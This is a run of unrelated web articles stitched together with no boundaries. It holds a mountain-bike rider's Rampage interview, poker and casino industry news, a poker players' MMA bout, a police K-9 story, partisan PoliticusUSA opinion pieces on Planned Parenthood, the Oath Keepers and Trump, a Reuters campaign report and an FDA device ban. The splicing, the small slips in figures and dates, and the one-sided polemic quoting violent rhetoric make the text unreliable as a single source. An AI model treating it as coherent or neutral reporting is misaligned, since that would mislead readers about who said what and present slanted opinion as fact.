one of the gnarliest things I have ever hit, but luckily Claw had to guinea pig it in qualifying so that made me feel quite a bit better about it. Thanks, Claw! With our top drop I knew we had one of the gnarliest entrances and if everything was going well from there I was going to send PB's and Tommy G's big drop. I didn't want to hit it for the sole reason of not building it, but when it came down to it my team manager for the event, Alex Volokhov, reassured me I would have a possible winning run if I hit it. Everyone was riding so well I didn't want to take the safe way down. I wanted to send it!A handful of us and the proper people involved had a meeting with Red Bull already and there are going to be some major changes which are going to support the riders better.Everyone has their favorites, of course, and I think the hashtags get created from that, but there were some guys that maybe should have done better. It's so tough in a judged event at the scale of the Rampage because so much is happening so quick and the venue is quite large so it's not the easiest to see. Even for the riders you are so pressed for time with building, practicing and preparing for the finals that you don't get to go see everyone's lines and for the most part you don't get to see anyone's full runs because you are either at the top or at the bottom with bad vantage points. And that is a big part of it unless you go walk everyone's lines and stand at the top of each feature it's hard to know what's harder than the next.There are lines out there that are completely nuts and then some of them might look pretty gnarly but actually are not so bad, and it's not always the easiest to tell them apart on camera. The riding last year was so high that almost half the field could have taken the top spot. And some guys were nailing their runs, but I think what the judges are really looking for is that pure freeriding spirit that Rampage was born on...going big. I am a strong believer of bringing tricks into to the big mountain but you can't compromise size or gnarliness for tricks, you really have the balance it out. Speaking of which, there were a few guys that stepped up their tricks and had the size which really impressed me and got me stoked to send it. Zink's run, I think, had the full mix of what a Rampage run should look like, plus Semenuk had some sick tricks going on too. Aggy and Andreu's line was really gnarly and the guys hitting and tricking the canyon gap, I thought, were super sick as well. But like I said before, you have to have the perfect formula with difficulty, speed, style, and tricks. Not to say I thought I had it perfect but I'm stoked the judges saw it that way and to take the win. Every year you can expect the riding to progress and you have to be prepared going into it and can't just coast your way through. So I'm looking forward to another rad year and pushing myself and progressing for what the next Rampage has to offer.It's like a brotherhood. Everyone is hanging and having a good time. It's what makes an event like this so fun and worth it, hanging and shredding with all the homies you only get to see a few times a year.I think the Fest has avenues to progress and grow. It's not like we have been turning down big sponsors and trying to keep it to just big bike jump lines. We all have our own riding careers that keep us busy and with the amount of time and budget that we have this is what were able to come up with. Which is a hell of a good time! [Laughing] But with more people supporting us the possibilities are endless. We just need more people to come on board that believe in us and like the direction we want to push and promote the sport. Cheers to all the sponsors and supporters that we do have!Ya, like I touched on above there is a whole lot of directions we'd like to take it, it just takes the budget and time to be able to put these things together. But it doesn't seem to be really slowing down and more people are taking notice every day so I must say I am really excited to be working with these group of guys and we got some big plans for the future.Well like you were saying you'd like to see what we can do with a real mountain... I might just have something up my sleeves.I love the Kootenays, it has so much to offer and I feel fortunate to have grown up there. From the terrain to the wicked riding community, I couldn't have asked for anything better and I am excited to keep exploring the area and I always look forward to shuttling and sessions with all my buddies back home every chance we get.I've got amazing support from so many great people, teams, and companies. I'd like to take this opportunity to thank Giro for the support throughout my whole career so far, feels great to be with companies that believe in you and you can work together with. Big shout out to my other long time sponsors; Rockstar Energy, Schwalbe, Seven Protection, MRP, Oakley, Evoc, GoPro, Sensus, MyPakage, and Ossur. I am also very stoked to be back on Deity Components as of last season. They supported me in my early years as well and to be back with them feels great plus their product is kicking ass! My other new partnerships as of last season include Polygon Bikes, SR Suntour, Cane Creek, Shimano and Royal Racing. Also, I want to give a shout out to the Fest Series boys! And all of the supporters, I'm stoked to see where we have brought it and excited to see where it goes! Last but not least! Thanks to my girlfriend, mom and dad, family and friends from home to around the world! @TheFEST / @mikewberard / @oakley
Cali Horse Racing Industry Pledges Support of Online Poker Bill AB 2863 Via Letter

April 22, 2016 Matthew Kredell Contributor

The California horse racing industry has come out in official support of online poker bill AB 2863 in advance of next week's hearing in the Assembly Governmental Organization Committee.

PokerNews.com has obtained a copy of the letter that nine industry leaders sent to Assemblyman Adam Gray, chair of the committee and co-lead sponsor of the bill.

In the letter, the industry expressed support for the bill with a few reasonable caveats:

The $60 million annual payment to horse racing is not changed. Assemblyman Gray told PokerNews last month that the figure was not up for negotiation.

last month that the figure was not up for negotiation. Tax rate and licensing fees (which were left blank in the bill after being 15 percent and $15 million in the initial draft proposal), remain reasonable. As long as there's a little wiggle room on the originally proposed numbers, this shouldn't be an issue. Racing's concern is that its $60 million comes from the fees collected by the state, which won't reach $60 million if the state isn't collecting that much from online poker.

Any fair or association that ceases to offer live racing should no longer be eligible to participate in the fund. Just a little inner-industry jockeying.

Language is added to the bill clarifying that giving up the right to participate as an operator in online poker doesn't preclude a horseracing association from participating in any future Internet gambling activities allowed by the state, nor affect its ability to continue offering online wagering on horses.

The letter is signed by representatives of the Thoroughbred Owners of California, Del Mar Thoroughbred Club, California Thoroughbred Breeders Association, Jockeys Guild, California Authority of Racing Fairs, CA Teamsters Public Affairs Council, California Throroughbred Trainers, Los Alamitos Racing Association, and SEIU California.

Also pointed out in the letter is that California is the only major racing state that does not allow its industry to participate in any alternate form of gaming revenues by either offering casino games or sharing in a percentage of slot-machine revenue, creating a financial imbalance in comparison to New York, Florida, and Maryland.

The first hearing on AB 2863 is scheduled for Wednesday, April 27, at 1:30 p.m. PDT in State Capitol, Room 4202. The hearing should be available to view live here.

As first reported by OnlinePokerReport, the bill received an amendment adding impartial language for suitability standards. The Pechanga coalition had made a request in February that such language be added in order for it to remain neutral on the legislation.

The new language specifies: "The bill would become operative when criteria are established by statute addressing involvement in Internet betting prior to the state's authorization of Internet poker pursuant to its provisions."

*Image courtesy of Marcelo Gerpe/FeeeImages.com.

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Sharelines The California horse racing industry has come out in official support of online poker bill AB 2863.
Inside Gaming: Boyd Gaming to Acquire Aliante, Eyes More Growth in North Las Vegas

April 22, 2016 Martin Harris

This weeks installment of Inside Gaming shares news of Boyd Gamings agreement to purchase one North Las Vegas casino and the companys interest in acquiring more, notes Las Vegas Sands first-quarter decline, and passes on one investors thoughts about gaming growth perhaps occurring faster than it should in Manila.

Boyd Gaming to Buy Aliante, Reportedly Interested in Cannery Casino Resorts

Amid speculation that Boyd Gaming was primed to make a different acquisition, the company announced yesterday it had agreed to purchase the Aliante Casino and Hotel in North Las Vegas for $380 million, VEGASINC reports.

A statement from Boyd Gaming CEO Keith Smith expressed optimism about both the Aliantes prospects and the company establishing a significant presence in an area many are targeting for near-term industry growth.

Aliante is an asset without rival in the North Las Vegas market, Smith said in a conference call announcing the agreement. It will further strengthen and diversify our robust Las Vegas portfolio, which is the fastest growing segment of our business.

The Aliante first opened in November 2008 as Aliante Station with Station Casinos and the Greenspun Corporation its first owners. Following Station Casinos filing for bankruptcy the following year, the Aliante eventually found its way into the hands of a group of private equity firms and banks.

The news of Boyds agreement to acquire the Aliante comes on the heels of a Reuters report on Wednesday that the casino operator has neared an agreement to buy Cannery Casino Resorts LLC, with knowledgeable sources citing a range of $225-240 million as the potential purchase price. That agreement is said to be imminent, perhaps to come within the next few weeks, although no one from either Boyd or Cannery offered any comment on the possible transaction.

Based in Spring Valley, Nevada, Cannery Casino Resorts was established in 2001 by Millennium Gaming, with Oaktree Capital Management and a subsidiary of Crown Resorts Ltd. also now part-owners. The Australia-based Crown Resorts had made a bid to acquire CCR back in 2007 for $1.75 billion, though ultimately only took a percentage stake in the company for $370 million.

Under the CCR aegis the Cannery Casino and Hotel opened in Las Vegas in 2003, with the Eastside Cannery Casino and Hotel on the Boulder Strip in Sunrise Manor, Nevada opening in 2008. CCR also had owned the Meadows Racetrack and Casino near Pittsburgh, though sold it in December 2015 for $440 million to Gaming and Leisure Properties Inc..

According to Reuters, the sale of the Meadows simplified Cannerys capital structure, paving the way for a potential sale of the Nevada properties. Also noteworthy  and related to the Aliante deal  is the fact that CCRs Las Vegas locations would give Boyd a strong foothold in the fast-growing north area of the city, which is emerging as a hub for technology start-ups, attracting affluent professionals with money to gamble.

Boyd Gaming currently operates 22 different casino and hotel properties in eight different states, including the California Hotel and Casino, the Fremont Hotel & Casino, and the Main Street Station Hotel and Casino and Brewery in Las Vegas, plus a half-dozen other properties in the surrounding area.

Visit VEGASINC for more about Boyds purchase of the Aliante and its prospects in North Las Vegas.

Macau Decline Affects Las Vegas Sands 1Q

This week the Las Vegas Sands Corp. reported its first-quarter numbers, showing a decline in both revenue and earnings over the first three months of 2016.

According to the Wall Street Journal, the company reported a profit of $320.2 million during 1Q 2016, down 37.5% from the $511.9 million of earnings during the 1Q 2015. Overall revenue for the period was down 9.8% year-over-year to $2.72 billion.

Given the Las Vegas Sands significant investment and presence in Macau, the decline in gaming revenue in the Special Administrative Region  now approaching two years long  has had its effect. First-quarter revenue at the Sands China, for example, was down 7.9% to $1.63 billion.

Referring to the situation in Macau, the company stated we do see signs of stabilization, particularly in the mass market.

Meanwhile U.S. properties were up during the first part of the year, with the Venetian in Las Vegas showing a 2.3% revenue increase while the Sands Bethlehem in Pennsylvania was up 8.6%.

For more on the LVSs first quarter  including comment from CEO Sheldon Adelson  see Las Vegas Sands Reports First Quarter Declines Despite Growth in the U.S.

Reservations from Razon about Rapid Manila Casino Growth

The gaming industry has experienced notable growth in Manila over recent years. The opening of the Solaire Casino and Resort in 2013 and the City of Dreams Manila the following year  together with that aforementioned decline in gaming revenue in Macau  have caused some to speak of the capital city of the Philippines becoming a new gaming hub in the region.

Not everyone is sanguine about the rapid growth in Manila, however. This week Enrique Razon, Jr., chairman of the Bloomberry Resorts Corporation that owns the Solaire, earned notice by expressing unease about expansion coming too quickly to the Manila Bay area. The Philippine Daily Inquirer reports that on Thursday Razon warned of an oversupply of casinos in Manila while commenting on plans for two more casino complexes to be built there over the next two years.

Its too many, too fast, said Razon, who believes the market is not growing as fast as the industry wants it to. Supply is growing faster than the market.

Speaking to a group of reporters, Razon also indicated Bloomberrys intention to pursue expansion in other areas, including building a casino in Cyprus this summer and advancing its proposal to build another in Argentina.

Gambling was first made legal in the Philippines in 1976 with the citys first casino going up a year later. There are currently more than 20 casinos operating in the Manila Bay area and in nearby Paranaque.

Photo: Aliante Casino and Hotel.

Read more about Manilas current and future gaming prospects according to one of the movers and shakers in the Philippine Daily Inquirer.

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Las Vegas Sands Reports First Quarter Declines Despite Growth in the U.S.

April 22, 2016 Jason Glatzer Editor

The Las Vegas Sands released its first quarter earnings for 2016 to its investors, and, to little surprise, revenue operating income, and net income are all down when compared to the same period a year ago.

The company is the owner of Las Vegas strip casinos The Venetian and The Palazzo, the Sands Casino Resort Bethlehem, and several casino resorts in Macau, China, and Singapore, Philippines.

Net revenue for the group dropped a staggering 9.8 percent from $3.01 billion in the first quarter of 2015 to $2.72 billion in the first quarter of 2016. This is despite showing healthy gains for its U.S. holdings with net revenue from its Las Vegas properties increasing by 2.3 percent ($384.9 million Q1 2016 vs. $376.4 million Q1 2015) and net revenue from the Sands Bethlehem increasing by 8.6 percent ($138.7 million Q1 2016 vs. $127.7 million Q1 2015).

The picture becomes worse when looking at operating and net income, since fixed costs did not decline despite the fact that the revenue driving the company did.

Operating income for the group decreased by 17.6 percent from $711.1 million in the first three months of 2015 to $585.6 million in the first quarter of 2015. As was the case with revenue, the U.S. properties performed well, with the blame for the decline being on poorer performance from the properties in Asia.

Big Decline from Singapore

One of the biggest drivers to this decline for the group was a 41.7-percent reduction in operating income for the Marina Bay Sands in Singapore from $319 million in the first quarter of 2015 to $186 million in the first quarter of 2016. The group primarily blames the decline on strengthening of the U.S. Dollar compared to the Singapore Dollar, along with low win percentage on rolling chip play.

Net income for Las Vegas Sands declined by a big 37.5 percent from $511.9 million in the first quarter of 2015 to $320.2 million in the first quarter of 2016. This contributed to a similar decline in diluted earnings per share, something very noteworthy to investors, from $0.64 per share in Q1 2015 to $0.40 per share in Q1 2016.

Despite the lower diluted earnings per share, the company increased the amount paid to investors in dividends by 10.8 percent when compared to the first quarter of 2015 to $0.72 per share.

Less Net Income from Macau, Too

In addition to showing a worse performance in Singapore, the company also contributed less net income from its Macau-based properties as well. This is of little surprise considering the entire casino industry in the city has been experiencing declines every month for almost two years after experiencing years of growth in the region.

Online gaming adversary and Chariman and CEO of the Las Vegas Sands Sheldon Adelson explained to the company's investors there are signs of stabilization in Macau.

"The operating environment in Macau remained challenging during the quarter; but we do see signs of stabilization, particularly in the mass market," Adelson stated.

Regardless of the declines experienced during the first quarter of 2016 and the huge $9.51 billion debt as of March 31, 2016, the company appears to still be strong with net positive results and $1.70 billion in cash on hand. The company looks to expand into the future with capital expenditures during the first quarter of 2016 totaling $343.6 million, with the most notable investments taking place in Macau where they invested $307.3 million into the city primarily for The Parisian Macao, which is expected to open its doors over the summer.

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VIDEO: Olivier Busquet Pummels JC Alvarado in TKO Win

April 22, 2016 Mo Nuwwarah Editor

Olivier Busquet used a rain of vicious ground-and-pound strikes to mash JC Alvarado's face, vanquishing his opponent with a corner stoppage at the end of the third round in their highly anticipated mixed martial arts clash.

The bout, which was agreed upon shortly after Busquet put out a challenge to the poker world on Twitter in September 2015, commenced after six months of training. Busquet was coming in as the bigger man, agreeing to a fight weight of 187.5, while Alvarado had to make 165.

Nonetheless, according to the terms of the scrap, Alvarado was coming in as the favorite as he put up $150,000 against Busquet's $120,000. Busquet was a novice with no formal training, while Alvarado had been training in Brazilian Jiu-Jitsu, a key discipline of MMA, off and on since 2011.

Betting markets, though, saw a very evenly matched fight by the time the men headed for the cage. Betting website Pinnacle had a line up shortly before fight time that lined Alvarado at about -115 while Busquet was at about -105, meaning the market pegged Alvarado's win probability at about 54 percent.

The stream of the fight never got off the ground, so the following recap comes from watching smartphone-quality streams  but hat tip to PokerNews' own Sarah Herring for her effort in streaming the fight from her phone and giving the fans what they wanted.

The first round would set the tone for the fight as Busquet quickly landed some hard strikes on the feet, one of which appeared to send Alvarado reeling into the cage. Busquet pounced and the two hit the mat with Busquet in top position and Alvarado working off of his back. Busquet was able to land numerous strikes from half-guard and eventually moved into the mount position, but he was unable to finish the fight before the round ended.

The two circled each other at the start of Round 2, with Alvarado landing some potshot leg kicks while Busquet took the center of the cage and looked to land counters. He was able to time some hard counters, and the two eventually went to the ground again with Busquet soon fending off a triangle that was probably Alvarado's most threatening offense of the fight. Busquet shucked it off and commenced with more ground-and-pound while Alvarado was scrunched against the cage. The referee called for a break and appeared to warn Busquet for strikes to the back of the head. The match resumed with the fighters standing, and Alvarado attempted a takedown only to be thrown to his back again before the round ended.

In between rounds, it sounded like the PA announcer said Busquet had been docked a point for the illegal strikes.

Busquet and Alvarado exchanged a bit more standing up at the start of the third round before Busquet dove in for a double-leg takedown, which he completed. Alvarado had full guard and attempted to set up some submissions but his desperate attempts were easily shucked off by Busquet in between repeated strikes to the body and head. Busquet dutifully kept his limbs out of harm's way and continued to pound away, and by this time, one could see even on the phone streams that Alvarado's face was a crimson mask.

After the third round ended, the fighters returned to their corners with Alvarado presumably in desperate need of a finish in Round 4. However, the final round would never take place. From the sound of the stream, Alvarado or his corner had decided to concede the fight, and Busquet was announced as the winner via technical knockout.

The two men embraced in the center of the cage after the official announcement.

To view the full fight video, shot via Periscope, click here.

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Shelter dog GIA is now an electronics finding K-9 for the Manatee County (FL) Sheriff's Office. (Photo: Bishop Animal Shelter)

A former shelter dog is now fighting crime and stopping child predators in Manatee County, FL. Sheriffs deputies added a shelter dog named Gia to their K-9 unit.

Shes trained to find hidden computer hard drives, flash drives and SD cards that may contain child porn. Pedophiles often stash away these incriminating devices, and Gias one of a handful of dogs in the entire world thats trained to find them, WFLA TV reports.

Shes like using a flashlight in a dark room. Because you just want that extra tool to kind of help you, Detective Joni Zimmermann said.

Manatee County deputies say Gias background makes her one of a kind. Last summer, detectives decided to adopt their new deputy to save money and help the local pet population. Officials felt confident they could train her.

Gia was a stray when she was dropped off at the Bishop Animal Shelter.
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PoliticusUSA is growing fast, its an election season, and we have openings! PoliticusUSA is looking for bloggers, editors, and staff to join our team. If you want to reach one of the biggest liberal audiences in the United States, here is your opportunity.

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It never fails to amaze that Republicans in the employ of the religious right cannot resist wasting taxpayer money in the pursuit of the anti-womens activists favorite target; Planned Parenthood and womens reproductive health. It has been over 40 years since the Supreme Court ruled that women are not religious slaves and can make the personal choice to terminate a pregnancy without being prosecuted by Republican bible-thumpers.

Now because Missouri Republicans are prohibited from punishing women who have opted to decide when they give birth, they are actively pursuing a couple of Planned Parenthood officials and threatening to punish them with jail. The Missouri state legislature has issued subpoenas and demands for the confidential patient information and signed consent forms of every woman who opted for an abortion in Missouri over the past six years.

In fact, the very real religious Republican threat is holding two Planned Parenthood officials in contempt for not turning over the federally-protected patient information. Their intent is to send them to jail if they dare to adhere to federal and state patient confidentiality and privacy laws.

This all started last November as a result of fabricated videos released in the summer that Missouri officials have already investigated and found to be completely bogus. In fact, Missouri was one of the six religious Republican states to investigate Planned Parenthood only to discover that the organization did nothing wrong.

Still, Missouri religious Republicans are following the lead of Congressional religious Republicans in admitting in one breath that Planned Parenthood did nothing wrong, but looking desperately for someone to punish by demanding personal information. It is a uniquely American religious thing that no-one talks about; punishing American citizens for failing to comply with a religious edict in a secular nation. And to facilitate their lust to inflict punishment on someone from Planned Parenthood, they are demanding not only all patient medical records, they are demanding that the organizations president testify before a House committee. It is another Republican investigation into Planned Parenthood that anti-womens rights activists claim illegally profited from selling dead baby parts to be used in fetal tissue research; despite Missouris top lawmaker already investigating and clearing Planned Parenthood of any wrongdoing.

The official report from the Missouri attorney generals office said, As a result of our investigation, the Office of the Missouri Attorney General has found no evidence that Planned Parenthood has engaged in any unlawful disposal of fetal organs and tissue. Then why are Missouri Republicans demanding six years worth of confidential patient records when there is no evidence of wrongdoing by Planned Parenthood?

The answer should be glaringly apparent; to violate womens medical privacy, boost the already spiking violence against womens health clinics, and expose tens-of-thousands of women to harassment and intimidation by anti-choice religious extremists. As noted by womens advocacy group NARAL, as they have in the past these anti-choice Republicans want to provide the extremists with a (literal) road map to virtually every woman in the state whos exercised her constitutionally protected right to choose over the past six years.

The Planned Parenthood officials can hardly comply with the demand for medical records and signed consent forms without violating federal HIPPAA and Missouri HIPPAA medical privacy laws; a violation that can earn jail time for each instance of revealing a patients confidential medical records, and Missouri Republicans know it is a violation. The state privacy law was passed about 10 years ago.

It appears that one way or the other, religious Republicans are Hell-bent on sending someone from Planned Parenthood to jail; either for not complying with a Senate subpoena or for complying with the Senates subpoena that will violate federal and state patient confidentially laws. The thousands of Missouri women whose records will be revealed will be punished by religious extremists; something the religious Republicans are well aware.

Several Republican states have already investigated Planned Parenthood over the heavily-edited sting videos and they have all found no evidence of wrongdoing. But what is going on in Missouri is the first known instance of a Republican state legislature threatening to send a Planned Parenthood official to jail even though the state already deemed that Planned Parenthood was not in violation of anything other than existing to provide women with reproductive healthcare.

Missouri Republican Senator Kurt Schaefer who has led a ferocious attempt to defund Planned Parenthood said that the religious resolution is about keeping the integrity of the process. He said the Senate needs to know what kind of confidential patient information Planned Parenthood is refusing to expose and that if it is not exposed someone from Planned Parenthood is getting punished and going to jail.

What the religious resolution really shows is the length that Republicans in Missouri will go to punish women for seeking health care according to Planned Parenthood Action Fund president Cecile Richards. Ms. Richards continued that, People in Missouri and across the country wont go back to being treated like criminals, and health care providers should not be punished for protecting their patients confidentiality and defending the ability of individuals to make their own health care decisions.

Religious Republicans disagree with everything Cecile Richards said and despite the Constitution, Supreme Court decision, federal and state HIPPAA privacy laws, and Missouris own investigations, somebody affiliated with Planned Parenthood has to go to jail. And, thousands of Missouri women are going to be exposed to harassment and intimidation by religious extremists just to satisfy Republicans who have to inflict punishment on women for daring to make their own constitutionally-protected reproductive health decisions.
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If you go to the Oath Keepers website, youll see that Brandon Smith writes that a Hillary Clinton win means civil war:

[I]f Hillary Clinton is chosen by the establishment to take Obamas place, the result would probably be outright civil war in the U.S. The level of hatred among conservatives for that woman is so stratospheric I cannot see any other outcome. It might not happen immediately, but a solid bet would be conflagration within her first term.

Right. Hillary Clinton, as of 2015 the most admired woman for record 20th time, according to Gallup. The woman even Republicans are saying they will vote for if Trump gets the nomination. Thats how must conservatives hate her.

Racial fantasies also surface in the prediction that a Trump win means at the very least nationwide Ferguson-type riots with the social justice cultists running wild with their goofy slogans and molotov cocktails. According to Smith, black people protesting the murder of their of young black men are a paper tiger however, and are only a threat if they manage to convince a majority of the ethnic American population to follow their lead.

A threat? To what, precisely?

We have an answer to that: their fantasy America. This is the group, remember, that said it would protect Kim Davis from arrest by US Marshals last year, apparently on the premise that there is no crime if you have Christ.

It is obvious that what is speaking to us here is not only the Fox News Reality Bubble but some wishful thinking, because just last week Oath Keepers founder Stewart Rhodes told Alex Jones that,

Oath Keepers civil defense units will fight in the street against the jihadists and the cartels and the gangs and these radical Black Lives Matter people and the black anarchists, the black flag anarchists; they are all just force multipliers and proxies, just as we saw during the Cold War with communism.

You no doubt remember too when heavily-armed Oath Keepers roamed the Ferguson streets while unarmed Black Lives Matter protesters were ordered to disperse.

So the enemy of the Oath Keepers, which laughingly claims to be a non-partisan association, is the many-headed hydra of jihadists, cartels, gangs, and Black Lives Matter people. Pretty much anyone who isnt white, not to put too fine a point upon it.

And it is interesting that Rhodes doesnt seem to be troubled by his fellow conservatives waving Confederate or Nazi flags while pretending to be Americans, but he sure doesnt want to see leftists disrespecting Old Glory, telling Jones:

Youre going to get stomped. Thats whats going to happen to them. I know a lot of veterans, the first time they see some radical leftist trampling on a flag or burning a flag, theyre going to kick their ass. I know you can say its free speech, but the veteran doesnt care about that. In his mind, its not free speech, thats not protected speech, its incitement to violence so hes going to go ahead and use it.

When someone gets in your face and wants to use violence, like that one commissar who was screaming and screeching for muscle, Bring some muscle over here, I need muscle, people like that, we have no sympathy for, so when she gets whats coming to her and those like her, well thats just the way it goes. When someone does defend themselves and they get stomped, of course theyll screech and call them racist and fascist and brownshirts but they brought it on themselves so I just have no sympathy for them.

Now post-apocalyptic literature is very popular  stories like Hunger Games, Divergent, and others sell very well. But Oath Keepers doesnt want the literature  they thirst for the real thing. They relish the idea of complete systems collapse, as you can see from Brandon Smiths article:

In the event of stolen conventions, election fraud or rioting, the election itself could very well be postponed. Congress does have the authority to pass a law postponing federal elections due to emergencies or extenuating circumstances, and, they also have the ability to transfer that authority to the executive branch.



Keep in mind, this could also take place in the event of a national crisis outside of the election process. An economic collapse, large scale terrorist attacks, or general social breakdown could result in a postponed election. Though this is an incredibly unlikely scenario, with the way 2016 has been going I would not rule anything out. Also take note that such a scenario would result in a prolonged Obama White House

They have their guns and they have their gear and they have their survival stashes and by God they want to use them. Jim Bakker isnt selling those food buckets just to line his pockets (OK, maybe he is). Bakker too, by the way, says you need to buy his food because theres criminals coming in, theres terrorists coming in, theres drugs coming thats killing Americas kids!

Bakker doesnt mind Mexicans who are picking the crops and he points out that ethnically speaking, they are great bricklayers, and damned if he can understand why people are attacking him for saying it.

People like Bakker and Stewart Rhodes have a lot of imaginary enemies, and not all of them are black or Mexican or Muslim. You might remember when he said of John McCain that he should be hung by the neck until dead, and compared him to Adolf Hitler in defending that appalling comment, saying McCain is every bit as nuts as Adolf Hitler was.

Because its not nuts saying you want to lynch a congressman. If were going to talk about Hitler, lets talk about manufacturing crises. Hitler was good at that too, Stewart Rhodes.

This is the inevitable result of making a list of people you hate and then coming up with reasons why its okay for you to hate them, and that is all the Oath Keepers have done. Theyre not defending the Constitution; they are defending their bigotry by saying anyone who disagrees with their appalling views must by definition not really be an American, even though they cant point to anything in the Founding documents or letters of the Founding Fathers to support those views. As David Barton proves, you can just invent this stuff and conservatives will gobble it up because it justifies their preconceptions.

In the final analysis, the Oath Keepers are an armed group whose existence is predicated upon conspiracy theories about threats to an America and our Judeo Christian way of life that does not and has never existed. Not to mention the non-existent threats, like the alleged communist infiltration of the Ferguson protests.

For Stewart Rhodes, it is still the 1950s and the Cold War never ended; it just got new enemies to go along with the old.

Rhodes cloaks it all in an aura of sanctity but as the SPLC points out, almost since the beginning, the Oath Keepers struggled to explain away the extremism in their ranks. It is obvious, given these most recent wishful fantasies, that he has failed.
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It is getting even worse for Republicans as the media isnt buying the fake new presidential version of Donald Trump.

The Washington Post blasted Trump in an editorial that reminded readers of all the Republican frontrunners racist and bigoted attacks.

The Posts editorial board wrote:

DO YOU remember when Donald Trump crudely mocked the disability of a New York Times reporter, and then lied about having done so? No? Thats just as the Republican candidate might hope. Now that he is nearing the Republican nomination, he says he will become more presidential. After winning the New York primary, he referred to Senator Cruz instead of Lyin Ted. You can expect multitudes of office-seekers and sycophants to follow Chris Christies craven path to believing, or pretending to believe, in a presidential Trump. So it is important to remember. Remember that Mr. Trump said that Mexicans crossing the border are rapists, though some, I assume, are good people. Remember that Mr. Trump falsely claimed that thousands of American Muslims had celebrated the destruction of the World Trade Center on 9/11..

I can hear Republicans huffing and puffing that, of course, the liberals at The Washington Post would criticize Trump, but what about Fox News? If anybody can sell Trump as presidential surely, Fox can. Right?

Well maybe not:

Transcript:

MACCALLUM: But we got mixed messages yesterday because, you know, we saw what we just played and then last night in Harrisburg heres Donald Trump. [] He seems to be liberated when he gets out there in front of the crowd and, you know, sort of go back to the its all crooked stuff. And thats not the song the song they were singing down there in Florida, Chris. CHRIS WALLACE: Well Ive got to laugh at this. Yeah, Ive got to laugh at this because on Tuesday when he had his victory speech at Trump Tower after a really terrific victory in New York he said Senator Cruz, and everybody, all the pundits were, you know, were examining this saying, and saying, oh, he said Senator Cruz. Thats such a huge difference. Hes more presidential. MACCALUM: Right, doesnt seem like it would be such a novel thing to say, does it? WALLACE: Right and the next day hes out on the trail in Indiana and hes talking about lying Ted. MACCALLUM: I know. WALLACE: So, you know, thats the real question. Can Trump, hes heard the evidence. One, does he believe it? Does he believe the advice you ought to tone it down and act more presidential? And two, if he does believe it, can he stick to it? And thats a very open question. MACCALLUM: It was like from the night before he had a bunch of lying Teds that were pent up, that he couldnt get out on and and so he had to let them all out at once yesterday.

When even Fox News cant keep a straight face while trying to convince conservatives that Donald Trump is presidential, the Trump image makeover is already a lost cause.

No one outside of Trumps current supporters is going to buy him as presidential. It is never going to happen. Donald Trump without the insults and rambling is just another rich boring old white conservative who hates the fact that America is changing.

The attempt to sell Trump as presidential demonstrates how desperate Republicans to bring order to the chaos that rules their party. The media which has shoveled the BS that Trump has been pushing for months isnt willing to along with this one.

It is almost as if the press doesnt want to be held responsible for the possibility that the monster that they helped to create could become the next president.

The American people arent stupid. They know Donald Trump too well, and they arent going to be fooled by a quick image makeover done on the fly. If the media wont help Donald Trump sell it, the Republican Party will be cooked in November.
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HOLLYWOOD, Fla./WASHINGTON (Reuters)  Republican presidential front-runner Donald Trump attacked his top Democratic rival Hillary Clinton on Friday, calling her crooked, and promised his supporters that he would not bore them by becoming overly presidential.

The comments undercut what his aides had said would be an attempt by the notoriously blunt-speaking Trump to project a more serious image after his win in New Yorks nominating contest this week, including by rolling out more policy details.

I can tell you that if I go too presidential, people are going to be very bored, the New York real estate baron told Fox News in an interview that will air on Saturday. He added that he worried his supporters would fall asleep.

He went on to say that Clinton is a person whos got many, many flaws and that shes the worst possible representative a woman can have, as he shifted his focus away from Republican rivals and toward the Nov. 8 presidential election.

The only thing shes got going is the women card, Trump said in the excerpts released by the network on Friday. We call her Crooked Hillary because shes a crooked person. Shes always been a crooked person.

Clinton said at a campaign event in Pennsylvania she would not respond to Trumps comments about her.

Donna Hoffman, the head of the political science department at the University of Iowa, said Trumps fiery personality had put him in a bind at this stage of the race.

The impetus to become more presidential is coming from some of the elite organs of the GOP, but he got to where he is today because of his persona, she said. To continue this way will keep him alienated from the party, but to change means his supporters will question his authenticity.

In a strong signal that his persona matters, a January survey showed that among Trumps supporters about 43 percent said they liked him because he speaks his mind, while only 8 percent cited his policies. The survey was conducted by the Working America arm of labor organization AFL-CIO.

Trumps win in his home state of New York on Tuesday bolstered his chances for the Republican presidential nomination, prompting a more serious study of his prospects in the general election.

Trump will give a foreign policy speech on Wednesday at the National Press Club, part of an expanded policy roll-out the campaign is planning, his aides told Republican leaders and lawmakers this week.

The speech will come the day after a round of primary contests in Connecticut, Delaware, Maryland, Pennsylvania and Rhode Island, in which polls show him likely to do well.

REPUBLICANS GATHER IN FLORIDA

But Trumps rivals have said he lacks foreign policy expertise, and several foreign leaders have said they are concerned about the idea of Trump in the White House.

The mantra that somehow Donald Trump has become the presumptive nominee after New York is ridiculous, Chad Sweet, campaign chairman for Texas Senator Ted Cruz, said on CNN on Friday.

Nationally, Trump has support from nearly half of all Republicans, compared with 28 percent for Cruz and 17 percent for Ohio Governor John Kasich, according to a Reuters/Ipsos poll.

Now theres no path to victory for Cruz so he should get out. They should both get out, Trump told supporters in Harrington, Delaware. And when they get out , we will start on Hillary Clinton like nobodys ever seen.

Republican National Committee Chairman Reince Priebus said on Friday the party was prepared for numerous scenarios, including a contested convention if no Republican has earned the 1,237 delegates needed to secure the nomination.

Republican National Committee officials gathered in Hollywood, Florida to take stock of the race for the White House and prepare for the possibility of a contested convention in July in Cleveland.

Mexicos new ambassador to the United States, Carlos Sada, vowed on Thursday to combat negative publicity in the U.S. campaign after Trump accused Mexico of sending drug traffickers and rapists into the United States and vowed to build a wall at the border.

Japanese firms said in a Reuters poll released on Wednesday that a Trump presidency would harm security partnerships.

(Reporting by Steve Holland in Hollywood, Florida, and Doina Chiacu and Susan Cornwell in Washington; Additional reporting by Megan Casella; Writing by Emily Stephenson; Editing by Richard Valdmanis and Cynthia Osterman)
FRIDAY, April 22, 2016 (HealthDay News) -- Electrical stimulation devices, used to treat self-harming or aggressive behaviors, should be banned, the U.S. Food and Drug Administration said Friday.

The devices pose substantial risks that cannot be eliminated through labeling changes, according to the agency.

These electrical stimulation devices deliver shocks through electrodes attached to the skin in an attempt to condition people to stop hurting themselves or being aggressive.

However, there is evidence that the devices are associated with a number of significant physical and mental health risks. These risks include: depression, anxiety, worsening of self-injury behaviors and post-traumatic stress disorder symptoms, pain, burns, tissue damage and unintended shocks from device malfunctions, the FDA said.

The agency also pointed out that many people treated with these devices have intellectual or developmental disabilities that can impair their ability to consent to the procedure or to say they are suffering pain.

